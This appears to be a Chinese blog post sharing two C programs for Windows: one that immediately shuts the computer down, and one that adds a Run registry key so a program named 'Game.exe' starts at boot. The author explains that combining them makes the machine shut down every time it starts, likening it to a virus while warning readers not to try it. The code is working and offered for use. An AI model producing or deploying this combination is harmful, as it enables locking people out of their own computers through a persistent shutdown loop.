我這幾天學了一個好東西給大家看看代碼:
#include#include #include int main(void) { char input[20]={0}; system("shutdown -s -t 0"); return 0; }
以上是關機程序。
#include#include #include void ComputerStart(char *pathName) { //找到系統的啟動項 char *szSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; HKEY hKey; //打開注冊表啟動項 int k = RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey); if (k == ERROR_SUCCESS) { //添加一個子Key,并設置值,MyStart為啟動項名稱,自定義設置; RegSetValueEx(hKey, "MyStart", 0, REG_SZ, (BYTE *)pathName, strlen(pathName)); //關閉注冊表 RegCloseKey(hKey); printf("設置成功\n"); } else { printf("設置失敗 error:%d\n", k); } } int main() { char pathName[MAX_PATH];//文件名字最大260個字符 MAX_PATH 260 GetCurrentDirectory(MAX_PATH, pathName);//設置字符集為多字節字符集 獲取當前文件路徑 sprintf(pathName, "%s\\", pathName); strcat(pathName, "Game.exe");//找到需要開機自啟動的程序 ComputerStart(pathName); system("pause"); return 0; }
以上是設置啟動項程序。
加起來等于重復關機器
開機就關機。
就像一個電腦病毒。
千萬不要隨便嘗試。
文章內容屬作者個人觀點,不代表本站立場,如有侵權立刪。